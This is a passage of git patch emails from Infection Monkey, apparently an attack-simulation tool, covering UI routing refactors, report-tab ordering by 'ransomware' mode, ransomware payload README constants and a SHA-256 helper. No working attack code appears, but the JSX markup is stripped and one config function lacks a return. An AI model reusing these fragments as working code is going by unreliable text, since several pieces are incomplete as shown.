a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js b/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js deleted file mode 100644 index 5d66166d596..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js +++ /dev/null @@ -1,15 +0,0 @@ -import React from 'react' -import {Route} from 'react-router-dom' -import SideNavComponent from '../SideNavComponent.tsx' -import {Col, Row} from 'react-bootstrap'; - -export const StandardLayoutComponent = ({component: Component, ...rest}) => ( - ( - - - - - - - )}/> -) From 752ea6af105cbc553178797c82086f2dcdf2be01 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 16 Jul 2021 09:31:14 +0200 Subject: [PATCH 1167/1360] ui: Remove title and type from config schema --- .../monkey_island/cc/services/config_schema/basic_network.py | 2 -- monkey/monkey_island/cc/services/config_schema/ransomware.py | 4 ---- .../cc/ui/src/components/configuration-components/TextBox.js | 4 +--- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 2 +- 4 files changed, 2 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 02f87c7cf45..eceda4828bf 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -10,8 +10,6 @@ "type": "object", "properties": { "info_box": { - "title": "", - "type": "text", "info": 'The Monkey scans its subnet if "Local network scan" is checked. ' 'Additionally, the Monkey scans machines according to "Scan ' 'target list".', diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 7ec3d793f91..dd77a175d5b 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -23,8 +23,6 @@ "in the files contained within the target directories.", }, "info_box": { - "title": "", - "type": "text", "info": "No files will be encrypted if a directory is not specified or doesn't " "exist on a victim machine.", }, @@ -53,8 +51,6 @@ }, }, "text_box": { - "title": "", - "type": "text", "text": "Note: A README.txt will be left in the specified target " "directory.", }, }, diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js index f32803195c9..4d24ddb0a81 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js @@ -4,9 +4,7 @@ class TextBox extends React.Component { render() { return ( - <> -

    {this.props.schema.text}

    - +

    {this.props.schema.text}

    ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 321974b0cc3..c7c84e327d9 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -58,7 +58,7 @@ class ConfigurePageComponent extends AuthComponent { } getSectionsOrder() { - let islandMode = 'advanced' + let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' return CONFIGURATION_TABS_PER_MODE[islandMode]; } From 42936730a665f4d62b0382c67f4c78cb52f556ba Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 16 Jul 2021 09:27:28 +0300 Subject: [PATCH 1168/1360] Island UI: improve Main.tsx readability and finish exporting of hard-coded routes into an enum --- .../cc/ui/src/components/Main.tsx | 47 +++++++++++-------- 1 file changed, 27 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index a8d78cdc9dc..70d424ae44b 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -41,6 +41,14 @@ const Routes = { ZeroTrustReport: '/report/zeroTrust', SecurityReport: '/report/security', RansomwareReport: '/report/ransomware', + LoginPage: '/login', + RegisterPage: '/register', + ConfigurePage: '/configure', + RunMonkeyPage: '/run-monkey', + MapPage: '/infection/map', + TelemetryPage: '/infection/telemetry', + StartOverPage: '/start-over', + LicensePage: '/license' } export function isReportRoute(route){ @@ -83,7 +91,7 @@ class AppComponent extends AuthComponent { } if (res) { - this.checkMode() + this.setMode() .then(() => { if (this.state.islandMode === null) { return @@ -106,7 +114,7 @@ class AppComponent extends AuthComponent { }); }; - checkMode = () => { + setMode = () => { return IslandHttpClient.get('/api/island-mode') .then(res => { this.setState({islandMode: res.body.mode}); @@ -126,9 +134,9 @@ class AppComponent extends AuthComponent { case false: switch (this.state.needsRegistration) { case true: - return + return case false: - return ; + return ; default: return ; } @@ -150,8 +158,7 @@ class AppComponent extends AuthComponent { needsRedirectionToGettingStarted = (route_path) => { return route_path === Routes.LandingPage && - this.state.islandMode !== null && - this.state.islandMode !== undefined + this.state.islandMode !== null } redirectTo = (userPath, targetPath) => { @@ -175,8 +182,8 @@ class AppComponent extends AuthComponent { - ()}/> - ()}/> + ()}/> + ()}/> {this.renderRoute(Routes.LandingPage, , true)} - {this.renderRoute('/configure', + {this.renderRoute(Routes.ConfigurePage, )} - {this.renderRoute('/run-monkey', + {this.renderRoute(Routes.RunMonkeyPage, )} - {this.renderRoute('/infection/map', + {this.renderRoute(Routes.MapPage, )} - {this.renderRoute('/infection/telemetry', + {this.renderRoute(Routes.TelemetryPage, )} - {this.renderRoute('/start-over', + {this.renderRoute(Routes.StartOverPage, )} - {this.redirectTo('/report', '/report/security')} - {this.renderRoute('/report/security', + {this.redirectTo(Routes.Report, Routes.SecurityReport)} + {this.renderRoute(Routes.SecurityReport, )} - {this.renderRoute('/report/attack', + {this.renderRoute(Routes.AttackReport, )} - {this.renderRoute('/report/zeroTrust', + {this.renderRoute(Routes.ZeroTrustReport, )} - {this.renderRoute('/report/ransomware', + {this.renderRoute(Routes.RansomwareReport, )} - {this.renderRoute('/license', + {this.renderRoute(Routes.LicensePage, )} @@ -251,7 +258,7 @@ class AppComponent extends AuthComponent { shouldShowNotification() { // No need to show the notification to redirect to the report if we're already in the report page - return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith('/report')); + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith(Routes.Report)); } } From 67968459ae01beff06bed881698f74f59c6031a9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 16 Jul 2021 11:47:13 +0300 Subject: [PATCH 1169/1360] Island UI: fix a bug that causes page refresh to redirect to getting started page --- monkey/monkey_island/cc/ui/src/components/Main.tsx | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 70d424ae44b..fb273330193 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -62,8 +62,9 @@ class AppComponent extends AuthComponent { super(props); let completedSteps = new CompletedSteps(false); this.state = { + loading: true, completedSteps: completedSteps, - islandMode: null, + islandMode: undefined, noAuthLoginAttempted: undefined }; this.interval = undefined; @@ -158,7 +159,7 @@ class AppComponent extends AuthComponent { needsRedirectionToGettingStarted = (route_path) => { return route_path === Routes.LandingPage && - this.state.islandMode !== null + this.state.islandMode !== null && this.state.islandMode !== undefined } redirectTo = (userPath, targetPath) => { From 28e14b4c4c2acf2bb151989984ced2c0e5dec938 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 16 Jul 2021 14:12:29 +0300 Subject: [PATCH 1170/1360] Island UI: change report side nav button to show ransomware report as default report when ransomware scenario is chosen --- .../cc/ui/src/components/Main.tsx | 67 +++++++++++-------- .../cc/ui/src/components/SideNavComponent.tsx | 21 +++--- .../layouts/SidebarLayoutComponent.tsx | 5 +- 3 files changed, 54 insertions(+), 39 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index fb273330193..ea584f08852 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -178,7 +178,21 @@ class AppComponent extends AuthComponent { clearInterval(this.interval); } + getDefaultReport() { + if(this.state.islandMode === 'ransomware'){ + return Routes.RansomwareReport + } else { + return Routes.SecurityReport + } + } + render() { + + let defaultSideNavProps = {completedSteps: this.state.completedSteps, + onStatusChange: this.updateStatus, + islandMode: this.state.islandMode, + defaultReport: this.getDefaultReport()} + return ( @@ -191,50 +205,39 @@ class AppComponent extends AuthComponent { completedSteps={new CompletedSteps()} onStatusChange={this.updateStatus}/>)} {this.renderRoute(Routes.GettingStartedPage, - , + , true)} {this.renderRoute(Routes.ConfigurePage, - )} + )} {this.renderRoute(Routes.RunMonkeyPage, - )} + )} {this.renderRoute(Routes.MapPage, - )} + )} {this.renderRoute(Routes.TelemetryPage, - )} + )} {this.renderRoute(Routes.StartOverPage, - )} - {this.redirectTo(Routes.Report, Routes.SecurityReport)} + )} + {this.redirectToReport()} {this.renderRoute(Routes.SecurityReport, )} + islandMode={this.state.islandMode} + {...defaultSideNavProps}/>)} {this.renderRoute(Routes.AttackReport, )} + islandMode={this.state.islandMode} + {...defaultSideNavProps}/>)} {this.renderRoute(Routes.ZeroTrustReport, )} + islandMode={this.state.islandMode} + {...defaultSideNavProps}/>)} {this.renderRoute(Routes.RansomwareReport, )} + islandMode={this.state.islandMode} + {...defaultSideNavProps}/>)} {this.renderRoute(Routes.LicensePage, )} + islandMode={this.state.islandMode} + {...defaultSideNavProps}/>)} @@ -242,6 +245,14 @@ class AppComponent extends AuthComponent { ); } + redirectToReport() { + if (this.state.islandMode === 'ransomware') { + return this.redirectTo(Routes.Report, Routes.RansomwareReport) + } else { + return this.redirectTo(Routes.Report, Routes.SecurityReport) + } + } + showInfectionDoneNotification() { if (this.shouldShowNotification()) { const hostname = window.location.hostname; diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index bd0bde5a136..450103bb963 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -7,7 +7,7 @@ import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; import VersionComponent from './side-menu/VersionComponent'; import '../styles/components/SideNav.scss'; import {CompletedSteps} from "./side-menu/CompletedSteps"; -import {isReportRoute} from "./Main"; +import {isReportRoute, Routes} from "./Main"; const guardicoreLogoImage = require('../images/guardicore-logo.png'); @@ -17,15 +17,16 @@ const infectionMonkeyImage = require('../images/infection-monkey.svg'); type Props = { disabled?: boolean, - completedSteps: CompletedSteps + completedSteps: CompletedSteps, + defaultReport: string } -const SideNavComponent = ({disabled=false, completedSteps}: Props) => { +const SideNavComponent = ({disabled, completedSteps, defaultReport}: Props) => { return ( <> - +
    logo Infection Monkey @@ -34,7 +35,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => {
    • - + 1. Run Monkey {completedSteps.runMonkey ? @@ -43,7 +44,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => {
    • - + 2. Infection Map {completedSteps.infectionDone ? @@ -52,7 +53,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => {
    • - { return (isReportRoute(location.pathname)) @@ -65,7 +66,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => {
    • - + Start Over @@ -74,7 +75,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => {
        -
      • Configuration
      • @@ -96,7 +97,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => { Documentation
        - License + License
    ); diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx index 45e82e60c1c..746641958fc 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -6,13 +6,16 @@ import {Col, Row} from 'react-bootstrap'; const SidebarLayoutComponent = ({component: Component, sideNavDisabled = false, completedSteps = null, + defaultReport = '', ...other }) => ( { return ( - + ) From 0ee3e7be5e709a506f3a3b9e711944da9db12509 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 16 Jul 2021 14:14:40 +0300 Subject: [PATCH 1171/1360] Island UI: change report UI to sort tabs according to island mode. In ransomware mode, ransomware tab is the first on the right. --- .../cc/ui/src/components/Main.tsx | 2 +- .../cc/ui/src/components/pages/ReportPage.js | 54 +++++++++---------- 2 files changed, 26 insertions(+), 30 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index ea584f08852..7635f3e4cb3 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -33,7 +33,7 @@ import _ from "lodash"; let notificationIcon = require('../images/notification-logo-512x512.png'); -const Routes = { +export const Routes = { LandingPage: '/landing-page', GettingStartedPage: '/', Report: '/report', diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index aacc70328df..c45dbe7e70f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -16,6 +16,7 @@ class ReportPageComponent extends AuthComponent { constructor(props) { super(props); this.sections = ['security', 'zeroTrust', 'attack', 'ransomware']; + this.state = { securityReport: {}, attackReport: {}, @@ -28,6 +29,7 @@ class ReportPageComponent extends AuthComponent { {key: 'zeroTrust', title: 'Zero trust report'}, {key: 'attack', title: 'ATT&CK report'}] }; + } static selectReport(reports) { @@ -65,9 +67,6 @@ class ReportPageComponent extends AuthComponent { ransomwareReport: res }); }); - if (this.shouldShowRansomwareReport(this.state.ransomwareReport)) { - this.addRansomwareReportTab(); - } } } @@ -96,32 +95,6 @@ class ReportPageComponent extends AuthComponent { return ztReport }; - shouldShowRansomwareReport(report) { // TODO: Add proper check - if (report) { - return true; - } - } - - addRansomwareReportTab() { // TODO: Fetch mode from API endpoint - let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; - - // let mode = ""; - // this.authFetch('/api/mode') - // .then(res => res.json()) - // .then(res => { - // mode = res.mode - // } - // ); - - let mode = 'ransomware'; - if (mode === 'ransomware') { - this.state.orderedSections.splice(0, 0, ransomwareTab); - } - else { - this.state.orderedSections.push(ransomwareTab); - } - } - componentWillUnmount() { clearInterval(this.state.ztReportRefreshInterval); } @@ -187,9 +160,32 @@ class ReportPageComponent extends AuthComponent { } } + addRansomwareTab() { + let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; + if(this.isRansomwareTabMissing(ransomwareTab)){ + if (this.props.islandMode === 'ransomware') { + this.state.orderedSections.splice(0, 0, ransomwareTab); + } + else { + this.state.orderedSections.push(ransomwareTab); + } + } + } + + isRansomwareTabMissing(ransomwareTab) { + return ( + this.props.islandMode !== undefined && + !this.state.orderedSections.some(tab => + (tab.key === ransomwareTab.key + && tab.title === ransomwareTab.title) + )); + } + render() { let content; + this.addRansomwareTab(); + if (this.state.runStarted) { content = this.getReportContent(); } else { From 07937d7238f86e93d1bd831402b86bb641b65200 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Jul 2021 09:42:13 -0400 Subject: [PATCH 1172/1360] Agent: Move ransomware readme constants to ransomware/consts.py --- monkey/infection_monkey/ransomware/consts.py | 5 +++++ monkey/infection_monkey/ransomware/ransomware_payload.py | 6 ++---- .../ransomware/test_ransomware_payload.py | 9 +++------ 3 files changed, 10 insertions(+), 10 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/consts.py diff --git a/monkey/infection_monkey/ransomware/consts.py b/monkey/infection_monkey/ransomware/consts.py new file mode 100644 index 00000000000..8ff02fe9940 --- /dev/null +++ b/monkey/infection_monkey/ransomware/consts.py @@ -0,0 +1,5 @@ +from pathlib import Path + +README_SRC = Path(__file__).parent / "ransomware_readme.txt" +README_FILE_NAME = "README.txt" +README_SHA256_HASH = "e3d9343cbcce6097c83044327b00ead14b6e8e6aa0d411160610033a856032fc" diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 27cd6dca10f..3c8b3677026 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -2,15 +2,13 @@ from pathlib import Path from typing import Callable, List +from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC from infection_monkey.ransomware.ransomware_config import RansomwareConfig from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger LOG = logging.getLogger(__name__) -README_SRC = Path(__file__).parent / "ransomware_readme.txt" -README_DEST = "README.txt" - class RansomwarePayload: def __init__( @@ -39,7 +37,7 @@ def run_payload(self): self._encrypt_files(file_list) if self._config.readme_enabled: - self._leave_readme(README_SRC, self._config.target_directory / README_DEST) + self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) def _find_files(self) -> List[Path]: LOG.info(f"Collecting files in {self._config.target_directory}") diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 118ba8a27ef..6c73cfb8d6b 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -7,12 +7,9 @@ TEST_KEYBOARD_TXT, ) +from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC from infection_monkey.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.ransomware.ransomware_payload import ( - README_DEST, - README_SRC, - RansomwarePayload, -) +from infection_monkey.ransomware.ransomware_payload import RansomwarePayload @pytest.fixture @@ -162,7 +159,7 @@ def test_readme_true( ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() - mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_DEST) + mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) def test_no_readme_if_no_directory( From d3de80feed658743893170e94d4563297c40436b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 16 Jul 2021 19:23:18 +0530 Subject: [PATCH 1173/1360] island: Add filters for default config as per mode --- monkey/monkey_island/cc/services/config.py | 17 +++++++++++++++++ .../monkey_island/cc/services/config_filters.py | 3 +++ 2 files changed, 20 insertions(+) create mode 100644 monkey/monkey_island/cc/services/config_filters.py diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index acb12d48a2d..b29ac56e740 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -2,13 +2,16 @@ import copy import functools import logging +from typing import Dict from jsonschema import Draft4Validator, validators import monkey_island.cc.environment.environment_singleton as env_singleton +from monkey.monkey_island.cc.services.config_filters import FILTER_PER_MODE from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config_schema.config_schema import SCHEMA +from monkey_island.cc.services.mode.island_mode_service import get_mode from monkey_island.cc.services.post_breach_files import PostBreachFilesService from monkey_island.cc.services.utils.network_utils import local_ip_addresses @@ -235,11 +238,25 @@ def init_default_config(): def get_default_config(should_encrypt=False): ConfigService.init_default_config() config = copy.deepcopy(ConfigService.default_config) + mode = get_mode() + config = ConfigService._set_default_config_values_per_mode(mode, config) if should_encrypt: ConfigService.encrypt_config(config) logger.info("Default config was called") return config + @staticmethod + def _set_default_config_values_per_mode(mode: str, config: Dict) -> Dict: + if mode == "advanced": + return config + config_filter = FILTER_PER_MODE[mode] + config = ConfigService._apply_config_filter(config, config_filter) + + @staticmethod + def _apply_config_filter(config: Dict, config_filter: Dict): + config.update(config_filter) + return config + @staticmethod def init_config(): if ConfigService.get_config(should_decrypt=False) != {}: diff --git a/monkey/monkey_island/cc/services/config_filters.py b/monkey/monkey_island/cc/services/config_filters.py new file mode 100644 index 00000000000..51db21b937f --- /dev/null +++ b/monkey/monkey_island/cc/services/config_filters.py @@ -0,0 +1,3 @@ +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + +FILTER_PER_MODE = {IslandModeEnum.RANSOMWARE.value: {"basic.monkey.post_breach.post_breach_actions": []}} From 3912b85d08fb40753b04dac4207696d8be7893d7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Jul 2021 10:08:24 -0400 Subject: [PATCH 1174/1360] Common: Add get_file_sha256_hash() --- .gitattributes | 1 + monkey/common/utils/file_utils.py | 10 ++++++++++ monkey/tests/conftest.py | 10 ++++++++++ monkey/tests/data_for_tests/stable_file.txt | 1 + .../unit_tests/common/utils/test_common_file_utils.py | 6 +++++- 5 files changed, 27 insertions(+), 1 deletion(-) create mode 100644 monkey/tests/data_for_tests/stable_file.txt diff --git a/.gitattributes b/.gitattributes index 1cc8cc472ea..8ae3cfdb880 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1,2 @@ monkey/tests/data_for_tests/ransomware_targets/** -text +monkey/tests/data_for_tests/stable_file.txt -text diff --git a/monkey/common/utils/file_utils.py b/monkey/common/utils/file_utils.py index a4cff2b482a..fd2c85ec1d2 100644 --- a/monkey/common/utils/file_utils.py +++ b/monkey/common/utils/file_utils.py @@ -1,3 +1,4 @@ +import hashlib import os from pathlib import Path @@ -11,3 +12,12 @@ def expand_path(path: str) -> Path: raise InvalidPath("Empty path provided") return Path(os.path.expandvars(os.path.expanduser(path))) + + +def get_file_sha256_hash(filepath: Path): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for block in iter(lambda: f.read(65536), b""): + sha256.update(block) + + return sha256.hexdigest() diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 23cc840a31e..fc44af01486 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -11,3 +11,13 @@ @pytest.fixture(scope="session") def data_for_tests_dir(pytestconfig): return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests")) + + +@pytest.fixture(scope="session") +def stable_file(data_for_tests_dir) -> Path: + return data_for_tests_dir / "stable_file.txt" + + +@pytest.fixture(scope="session") +def stable_file_sha256_hash() -> str: + return "d9dcaadc91261692dafa86e7275b1bf39bb7e19d2efcfacd6fe2bfc9a1ae1062" diff --git a/monkey/tests/data_for_tests/stable_file.txt b/monkey/tests/data_for_tests/stable_file.txt new file mode 100644 index 00000000000..ffe82625b37 --- /dev/null +++ b/monkey/tests/data_for_tests/stable_file.txt @@ -0,0 +1 @@ +Don't change me! diff --git a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py index 3fe981a749b..79d00d027c8 100644 --- a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py +++ b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py @@ -2,7 +2,7 @@ import pytest -from common.utils.file_utils import InvalidPath, expand_path +from common.utils.file_utils import InvalidPath, expand_path, get_file_sha256_hash def test_expand_user(patched_home_env): @@ -22,3 +22,7 @@ def test_expand_vars(patched_home_env): def test_expand_path__empty_path_provided(): with pytest.raises(InvalidPath): expand_path("") + + +def test_get_file_sha256_hash(stable_file, stable_file_sha256_hash): + assert get_file_sha256_hash(stable_file) == stable_file_sha256_hash From f574af4225c3e9608f7e4fab7e2baae38d67c7ee Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 16 Jul 2021 13:12:02 +0200 Subject: [PATCH 1175/1360] ui: Fix bug where we can't change tab from attack to another tab in configure --- .../ui/src/components/pages/ConfigurePage.js | 24 +++++++++++++++---- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index c7c84e327d9..6f376036c7a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -59,6 +59,8 @@ class ConfigurePageComponent extends AuthComponent { getSectionsOrder() { let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' + // TODO delete the following line before merging + islandMode = 'advanced' return CONFIGURATION_TABS_PER_MODE[islandMode]; } @@ -234,7 +236,11 @@ class ConfigurePageComponent extends AuthComponent { updateConfigSection = () => { let newConfig = this.state.configuration; - if (Object.keys(this.state.currentFormData).length > 0) { + + if (this.currentSection === 'attack' && this.state.currentFormData === undefined) { + this.state.currentFormData = this.state.attackConfig; + } + else if (Object.keys(this.state.currentFormData).length > 0) { newConfig[this.currentSection] = this.state.currentFormData; } this.setState({configuration: newConfig, lastAction: 'none'}); @@ -309,10 +315,16 @@ class ConfigurePageComponent extends AuthComponent { } userChangedConfig() { - if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { - if (Object.keys(this.state.currentFormData).length === 0 || - JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.state.currentFormData)) { - return false; + try { + if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) { + if (Object.keys(this.state.currentFormData).length === 0 || + JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.state.currentFormData)) { + return false; + } + } + } catch (TypeError) { + if (JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.state.currentFormData)){ + return false; } } return true; @@ -330,10 +342,12 @@ class ConfigurePageComponent extends AuthComponent { } this.updateConfigSection(); this.currentSection = key; + this.setState({ selectedSection: key, currentFormData: this.state.configuration[key] }); + }; resetConfig = () => { From f376c12db1f74a804fa0ba1ced9be090701b8998 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 16 Jul 2021 13:12:02 +0200 Subject: [PATCH 1176/1360] ui: Fix bug where we can't change tab from attack to another tab in configure --- .../cc/ui/src/components/pages/ConfigurePage.js | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 6f376036c7a..d7caea15491 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -59,13 +59,13 @@ class ConfigurePageComponent extends AuthComponent { getSectionsOrder() { let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' - // TODO delete the following line before merging - islandMode = 'advanced' return CONFIGURATION_TABS_PER_MODE[islandMode]; } setInitialConfig(config) { // Sets a reference to know if config was changed + config['attack'] = {} + this.currentFormData = {} this.initialConfig = JSON.parse(JSON.stringify(config)); } @@ -230,6 +230,9 @@ class ConfigurePageComponent extends AuthComponent { onChange = ({formData}) => { let configuration = this.state.configuration; + if (this.state.selectedSection === 'attack'){ + formData = {}; + } configuration[this.state.selectedSection] = formData; this.setState({currentFormData: formData, configuration: configuration}); }; @@ -237,10 +240,7 @@ class ConfigurePageComponent extends AuthComponent { updateConfigSection = () => { let newConfig = this.state.configuration; - if (this.currentSection === 'attack' && this.state.currentFormData === undefined) { - this.state.currentFormData = this.state.attackConfig; - } - else if (Object.keys(this.state.currentFormData).length > 0) { + if (Object.keys(this.state.currentFormData).length > 0) { newConfig[this.currentSection] = this.state.currentFormData; } this.setState({configuration: newConfig, lastAction: 'none'}); @@ -340,14 +340,13 @@ class ConfigurePageComponent extends AuthComponent { this.setState({showAttackAlert: true}); return; } + this.updateConfigSection(); this.currentSection = key; - this.setState({ selectedSection: key, currentFormData: this.state.configuration[key] }); - }; resetConfig = () => { @@ -359,6 +358,7 @@ class ConfigurePageComponent extends AuthComponent { }) .then(res => res.json()) .then(res => { + res.configuration['attack'] = {} this.setState({ lastAction: 'reset', schema: res.schema, From 491c44a13bacc6c14c08d7ddde331812c07b00a1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Jul 2021 12:23:49 +0300 Subject: [PATCH 1177/1360] Island UI: remove unnecessary setting of this.currentFormData in ConfigurePage.js because it's a state variable --- monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index d7caea15491..4d7fdd2d08d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -65,7 +65,6 @@ class ConfigurePageComponent extends AuthComponent { setInitialConfig(config) { // Sets a reference to know if config was changed config['attack'] = {} - this.currentFormData = {} this.initialConfig = JSON.parse(JSON.stringify(config)); } From f1a3e1fc25e8f018074490cf884c7e87318c6145 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 19 Jul 2021 15:34:48 +0530 Subject: [PATCH 1178/1360] island: Separate `island_mode_service.py` to separate files for get and set mode services --- monkey/monkey_island/cc/resources/island_mode.py | 3 ++- ...land_mode_service.py => get_island_mode_service.py} | 7 ------- .../cc/services/mode/set_island_mode_service.py | 10 ++++++++++ 3 files changed, 12 insertions(+), 8 deletions(-) rename 